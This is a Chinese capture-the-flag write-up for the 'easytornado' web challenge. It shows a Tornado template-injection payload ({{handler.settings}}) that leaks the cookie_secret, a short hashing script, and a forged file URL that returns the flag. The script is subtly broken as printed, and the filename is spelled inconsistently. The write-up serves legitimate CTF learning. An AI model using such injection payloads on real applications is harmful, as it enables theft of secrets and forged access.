1. 程式人生 > 其它 >攻防世界:easytornado

攻防世界:easytornado

技術標籤:CTF_Web_Writeup

題目點開存在三個檔案
在這裡插入圖片描述
/flag.txt提醒我們flag存在的位置flag in /fllllllllllllag
/welcome.txt提醒render,render({options}) 猜測存在模板注入
/hints.txt提醒md5(cookie_secret+md5(filename))
即先將filenamemd5加密,再將cookie_secret與md5加密後的filename進行md5加密,目前我們需要知道的是filenamecookie_secret,猜測檔名為/fllllllllllag,也就是說,只要知道cookie_secret

就行了。
訪問檔案的url中
在這裡插入圖片描述
要通過filehash進行訪問
嘗試訪問/fllllllllllag,發現存在錯誤頁面
在這裡插入圖片描述
頁面存在msg,嘗試
在這裡插入圖片描述
證實存在模板注入漏洞
通過查閱文件發現cookie_secret在Application物件settings屬性中,還發現self.application.settings有一個別名:
handler指向的處理當前這個頁面的RequestHandler物件,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
構造payload:

/error?msg={{handler.settings}}

得到cookie_secret
在這裡插入圖片描述

5e454feb-3c1e-4920-ab21-fac30bd8bfc6

利用指令碼構造
可利用線上網站進行編譯
python線上網站

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = '5e454feb-3c1e-4920-ab21-fac30bd8bfc6'
print(md5(cookie_secret+md5(filename))) if __name__ == '__main__': filehash()

構造payload

/file?filename=/fllllllllllllag&filehash=519e1f4f0e635af43559dca0f6c6f686

得到flag
在這裡插入圖片描述

Flag

flag{3f39aea39db345769397ae895edb9c70}